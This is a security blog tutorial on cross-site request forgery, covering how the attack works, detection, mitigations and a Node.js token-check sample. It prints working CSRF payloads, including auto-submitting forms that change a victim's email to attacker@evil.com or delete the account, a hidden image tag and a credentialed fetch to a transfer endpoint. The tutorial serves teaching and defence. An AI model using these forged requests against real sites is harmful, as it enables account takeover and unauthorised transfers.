skip to content
Niyar Dutta
Table of Contents

What is CSRF?

Cross-Site Request Forgery (CSRF) is a web security vulnerability where an attacker tricks an authenticated user into performing unintended actions on a web application. The application processes the request because it trusts the user’s session, unaware that the request originated from a malicious source.

How Does It Work?

When a user is logged into a web application (e.g., example.com), their browser stores a session cookie. If the user visits a malicious site while still authenticated, the attacker can forge a request to example.com that uses the user’s active session.

For example, consider a form on example.com that updates a user’s email:

POST /update-email HTTP/1.1
Host: example.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
email=newemail@example.com

If there’s no CSRF protection, an attacker can create a malicious page:

<form action="https://example.com/update-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
<input type="submit" value="Click Me!" />
</form>
<script>
document.forms[0].submit();
</script>

What Happens?

  • The victim, logged into example.com, visits the attacker’s page.
  • The form auto-submits using the victim’s session cookie.
  • The email is changed to attacker@evil.com, potentially locking the user out.

Common Attack Payloads

Payload TypeExampleDescription
Auto-submitting Form<form action="/update-email" method="POST">Submits a form to change user data
Hidden Image Tag<img src="/delete-account" style="display:none;">Triggers a GET-based action
XMLHttpRequestfetch('/api/transfer', {method: 'POST', body: 'amount=1000'})Sends a POST request via JavaScript
JSON-based CSRF{"amount": 1000, "to": "attacker"}Targets APIs accepting JSON payloads

How to Detect CSRF

Manual Testing

Focus on state-changing endpoints (e.g., POST, PUT, DELETE requests) such as:

  • update-profile
  • transfer-money
  • delete-account
  • change-password

Test by crafting a malicious HTML page and checking if the action succeeds without user consent:

<form action="https://example.com/delete-account" method="POST">
<input type="submit" value="Click Me!" />
</form>
<script>
document.forms[0].submit();
</script>

If the account is deleted, the endpoint lacks CSRF protection.

Automated Tools

  • Burp Suite: Capture requests and test for missing CSRF tokens.
  • OWASP ZAP: Use the active scanner to identify CSRF vulnerabilities.
  • CSRF Tester: Generate PoC HTML forms for testing.

Advanced Attacks (Beyond Basic CSRF)

CSRF on GET Endpoints

Some applications incorrectly allow state-changing actions via GET requests:

GET /delete-post?post_id=123 HTTP/1.1
Host: example.com
Cookie: session=xyz789

An attacker can exploit this with a simple image tag:

<img src="https://example.com/delete-post?post_id=123" style="display:none;" />

CSRF with JSON Payloads

If an API accepts JSON and lacks CSRF protection:

POST /api/transfer HTTP/1.1
Host: example.com
Cookie: session=xyz789
Content-Type: application/json
{"amount": 1000, "to": "attacker"}

An attacker can use JavaScript to send the request:

<script>
fetch("https://example.com/api/transfer", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ amount: 1000, to: "attacker" }),
credentials: "include",
});
</script>

Mitigations

MitigationDescription
CSRF TokensUse unique, per-session tokens in forms/headers
SameSite CookiesSet cookies to SameSite=Strict or Lax
Origin/Referer CheckValidate the request’s Origin or Referer
Re-authenticationRequire password for sensitive actions
Use POST for ActionsAvoid state changes via GET requests

Example: Secure Implementation

Add a CSRF token to forms and validate it on the server:

<form action="/update-email" method="POST">
<input type="hidden" name="csrf_token" value="random-unique-token" />
<input type="email" name="email" value="" />
<input type="submit" value="Update Email" />
</form>

Server-side validation in Node.js:

const crypto = require("crypto");
function generateCsrfToken(req) {
return crypto.randomBytes(32).toString("hex");
}
function validateCsrfToken(req, res, next) {
const token = req.body.csrf_token;
if (token !== req.session.csrf_token) {
return res.status(403).send("Invalid CSRF token");
}
next();
}

TL;DR

TypeDescriptionRisk
Form SubmissionChange user data (e.g., email)High
GET-based CSRFDelete resources via GETHigh
API CSRFJSON-based actions (e.g., transfer funds)Critical
No SameSite CookiesAllows cross-site requestsMedium